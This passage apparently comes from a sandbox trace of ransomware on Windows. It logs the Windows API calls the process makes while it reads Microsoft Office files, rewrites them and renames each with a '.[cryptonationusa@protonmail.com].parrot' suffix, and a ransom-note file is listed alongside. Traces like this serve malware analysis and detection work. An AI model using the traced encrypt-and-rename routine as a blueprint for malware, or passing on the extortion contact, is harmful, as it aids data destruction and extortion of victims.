ftLastAccessTime.dwLowDateTime=0x241ffc0, ftLastAccessTime.dwHighDateTime=0x1d5e09e, ftLastWriteTime.dwLowDateTime=0x241ffc0, ftLastWriteTime.dwHighDateTime=0x1d5e09e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0198.354] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x23adba0, ftCreationTime.dwHighDateTime=0x1d5e09e, ftLastAccessTime.dwLowDateTime=0x23adba0, ftLastAccessTime.dwHighDateTime=0x1d5e09e, ftLastWriteTime.dwLowDateTime=0x241ffc0, ftLastWriteTime.dwHighDateTime=0x1d5e09e, nFileSizeHigh=0x0, nFileSizeLow=0x258, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadMe_Decryptor.txt", cAlternateFileName="README~1.TXT")) returned 1 [0198.354] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x605320 [0198.355] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0198.355] ReadFile (in: hFile=0x1b0, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0198.356] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.357] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x138f4, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18f1c4*=0x138f4, lpOverlapped=0x0) returned 1 [0198.358] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0198.360] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.360] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0198.360] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0198.361] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\ONENOTEIRM.XML" (normalized: "c:\\program files\\microsoft office\\office14\\onenoteirm.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\ONENOTEIRM.XML.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\onenoteirm.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0198.367] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0198.367] ReadFile (in: hFile=0x1b0, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0198.369] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.369] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x11990, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18f1c4*=0x11990, lpOverlapped=0x0) returned 1 [0198.371] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0198.375] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.375] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0198.376] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0198.377] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\ORMMODEL.MDL" (normalized: "c:\\program files\\microsoft office\\office14\\ormmodel.mdl"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\ORMMODEL.MDL.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\ormmodel.mdl.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0198.383] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0198.383] ReadFile (in: hFile=0x1b0, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0198.385] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.385] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x3d05, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18f1c4*=0x3d05, lpOverlapped=0x0) returned 1 [0198.386] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0198.386] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.386] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0198.386] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0198.389] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\OSPP.HTM" (normalized: "c:\\program files\\microsoft office\\office14\\ospp.htm"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\OSPP.HTM.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\ospp.htm.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0198.395] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0198.395] ReadFile (in: hFile=0x1b0, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0198.396] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.397] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xc119, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18f1c4*=0xc119, lpOverlapped=0x0) returned 1 [0198.398] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0198.399] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.399] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0198.399] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0198.400] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\OSPP.VBS" (normalized: "c:\\program files\\microsoft office\\office14\\ospp.vbs"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\OSPP.VBS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\ospp.vbs.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0198.406] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0198.407] ReadFile (in: hFile=0x1b0, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0198.408] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.408] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18f1c4*=0x100000, lpOverlapped=0x0) returned 1 [0198.417] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0198.484] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.485] WriteFile (in: hFile=0x1b0, lpBuffer=0x6a33f0*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x6a33f0*, lpNumberOfBytesWritten=0x18f1c4*=0x118, lpOverlapped=0x0) returned 1 [0198.490] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.490] WriteFile (in: hFile=0x1b0, lpBuffer=0x2e80040*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2e80040*, lpNumberOfBytesWritten=0x18f1c4*=0x100000, lpOverlapped=0x0) returned 1 [0198.492] UnlockFile (hFile=0x1b0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x380118, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0198.492] CloseHandle (hObject=0x1b0) returned 1 [0198.492] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x68df00 [0198.492] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc0) returned 0x22b4908 [0198.493] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\OUTLFLTR.DAT" (normalized: "c:\\program files\\microsoft office\\office14\\outlfltr.dat"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\OUTLFLTR.DAT.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\outlfltr.dat.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0198.502] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0198.503] ReadFile (in: hFile=0x1b0, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0198.504] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.504] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x4b6, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18f1c4*=0x4b6, lpOverlapped=0x0) returned 1 [0198.504] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0198.505] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.505] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0198.505] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0198.505] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\OUTLOOK.EXE.MANIFEST" (normalized: "c:\\program files\\microsoft office\\office14\\outlook.exe.manifest"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\OUTLOOK.EXE.MANIFEST.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\outlook.exe.manifest.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0198.512] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\*", fInfoLevelId=0x0, lpFindFileData=0x18ef8c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ef8c) returned 0x600490 [0198.514] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0198.514] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5133d8d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x70c9f7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x70c9f7b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0198.515] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0198.515] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0198.515] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae54e300, ftCreationTime.dwHighDateTime=0x1c6e74b, ftLastAccessTime.dwLowDateTime=0x5133d8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xae54e300, ftLastWriteTime.dwHighDateTime=0x1c6e74b, nFileSizeHigh=0x0, nFileSizeLow=0x330, dwReserved0=0x0, dwReserved1=0x0, cFileName="AMERITECH.NET.XML", cAlternateFileName="AMERIT~1.XML")) returned 1 [0198.515] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x605320 [0198.515] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0198.515] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0198.517] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.517] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x330, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x330, lpOverlapped=0x0) returned 1 [0198.517] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0198.517] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.517] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0198.517] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0198.518] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\AMERITECH.NET.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\ameritech.net.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\AMERITECH.NET.XML.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\ameritech.net.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0198.523] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0198.523] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0198.525] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.525] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x327, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x327, lpOverlapped=0x0) returned 1 [0198.525] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0198.525] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.526] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0198.526] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0198.526] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\BTINTERNET.NET.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\btinternet.net.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\BTINTERNET.NET.XML.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\btinternet.net.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0198.531] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0198.532] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0198.533] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.533] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x327, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x327, lpOverlapped=0x0) returned 1 [0198.533] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0198.534] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.534] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0198.534] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0198.534] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\BTOPENWORLD.COM.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\btopenworld.com.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\BTOPENWORLD.COM.XML.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\btopenworld.com.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0198.540] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0198.540] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0198.542] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.542] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x328, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x328, lpOverlapped=0x0) returned 1 [0198.542] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0198.542] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.542] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0198.542] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0198.543] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\FLASH.NET.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\flash.net.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\FLASH.NET.XML.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\flash.net.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0198.548] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0198.548] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0198.550] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.550] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x332, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x332, lpOverlapped=0x0) returned 1 [0198.550] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0198.550] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.550] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0198.550] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0198.551] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\NL.ROGERS.COM.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\nl.rogers.com.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\NL.ROGERS.COM.XML.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\nl.rogers.com.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0198.556] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0198.556] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0198.558] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.558] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x32a, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x32a, lpOverlapped=0x0) returned 1 [0198.558] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0198.558] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.558] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0198.558] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0198.559] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\NVBELL.NET.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\nvbell.net.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\NVBELL.NET.XML.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\nvbell.net.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0198.564] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0198.564] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0198.565] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.566] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x32c, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x32c, lpOverlapped=0x0) returned 1 [0198.566] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0198.566] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.566] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0198.566] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0198.566] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\PACBELL.NET.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\pacbell.net.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\PACBELL.NET.XML.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program 